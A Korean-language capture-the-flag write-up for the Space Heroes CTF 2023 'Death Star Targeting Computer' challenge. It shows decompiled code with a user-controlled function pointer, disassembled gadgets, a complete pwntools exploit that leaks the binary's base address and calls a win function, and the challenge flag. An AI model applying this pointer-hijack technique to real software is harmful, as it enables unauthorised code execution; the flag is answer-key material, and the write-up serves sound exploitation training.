Space Heroes CTF 2023 - Death Star Targeting Computer (ret2win)

?

  • [? solves / 245 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *choice; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+14h] [rbp-Ch] BYREF
void (*v6)(void); // [rsp+18h] [rbp-8h]

while ( 1 )
{
do
{
while ( 1 )
{
print_terminal();
__isoc99_scanf("%d", &v5);
if ( v5 != 3 )
break;
v6();
}
}
while ( v5 > 3 );
if ( v5 == 1 )
{
print_choice();
__isoc99_scanf("%ld", &choice);
switch ( (unsigned __int64)choice )
{
case 1uLL:
v6 = (void (*)(void))alderaan;
break;
case 2uLL:
v6 = (void (*)(void))yavin_4;
break;
case 3uLL:
v6 = (void (*)(void))dantoine;
break;
case 4uLL:
v6 = (void (*)(void))tatooine;
break;
case 5uLL:
v6 = (void (*)(void))dagobah;
break;
case 6uLL:
v6 = (void (*)(void))hoth;
break;
case 7uLL:
v6 = (void (*)(void))bespin;
break;
default:
v6 = (void (*)(void))choice;
break;
}
}
else if ( v5 == 2 )
{
printf("Target Coordinates => %ld\n", v6);
}
}
}

v6에 함수포인터를 담고 v5가 2일 때 v6을 출력해준다. 그리고 v5가 3일 때 v6();을 통해 이 변수에 저장된 주소를 실행한다. 가장 중요한 것은 입력값이 v6에 저장된다는 사실이다. 이것을 통해 원하는 주소를 실행할 수 있다.

마침 win() 함수가 있다.


이렇게 IDA가 빨간색으로 변수를 표시하면 어셈블리를 보라는 뜻이다. 어셈블리를 살펴보면 아래와 같다.


어셈블리에 적혀있는 것처럼 변수를 맞춰주면 되는데 이는 다른 함수들을 통해서 쉽게 맞춰줄 수 있다. 문제 제작자가 친절하게 다 넣어주었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:000000000000151B ; __unwind {
.text:000000000000151B push rbp
.text:000000000000151C mov rbp, rsp
.text:000000000000151F mov r14, 4Bh ; 'K'
.text:0000000000001526 retn
.text:0000000000001526 _Z9ignore_mev endp ; sp-analysis failed
.text:0000000000001526
.text:0000000000001527
.text:0000000000001527 ; =============== S U B R O U T I N E =======================================
.text:0000000000001527
.text:0000000000001527
.text:0000000000001527 ; void sub_1527()
.text:0000000000001527 sub_1527 proc near
.text:0000000000001527 mov r13, 56h ; 'V'
.text:000000000000152E retn
.text:000000000000152E sub_1527 endp
.text:000000000000152E
.text:000000000000152F
.text:000000000000152F ; =============== S U B R O U T I N E =======================================
.text:000000000000152F
.text:000000000000152F
.text:000000000000152F ; void sub_152F()
.text:000000000000152F sub_152F proc near
.text:000000000000152F mov r15, 135h
.text:0000000000001536 retn
.text:0000000000001536 sub_152F endp

다만 151B 주소에 있는 push rbp는 실행시키면 안된다.

Solve

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

p = remote("spaceheroes-death-star.chals.io", 443, ssl=True, sni="spaceheroes-death-star.chals.io")
# p = process('./death_star_computer.bin')
e = ELF('./death_star_computer.bin')

p.sendline(str(1))
p.sendline(str(2))
p.sendline(str(2))
p.recvuntil('=> ')

e.address = int(p.recvline(), 10) - 0x136B
info(hex(e.address))

p.sendline(str(1))
p.sendline(str(e.address + 0x1527))
p.sendline(str(3))

p.sendline(str(1))

p.sendline(str(e.address + 0x152f))
p.sendline(str(3))

p.sendline(str(1))
pause()
p.sendline(str(e.address + 0x151F))
p.sendline(str(3))

p.sendline(str(1))
p.sendline(str(e.address + 0x153a))
p.sendline(str(3))

p.interactive()

Flag

1
shctf{y0u_m4y_f1re_wh3n_re4dy}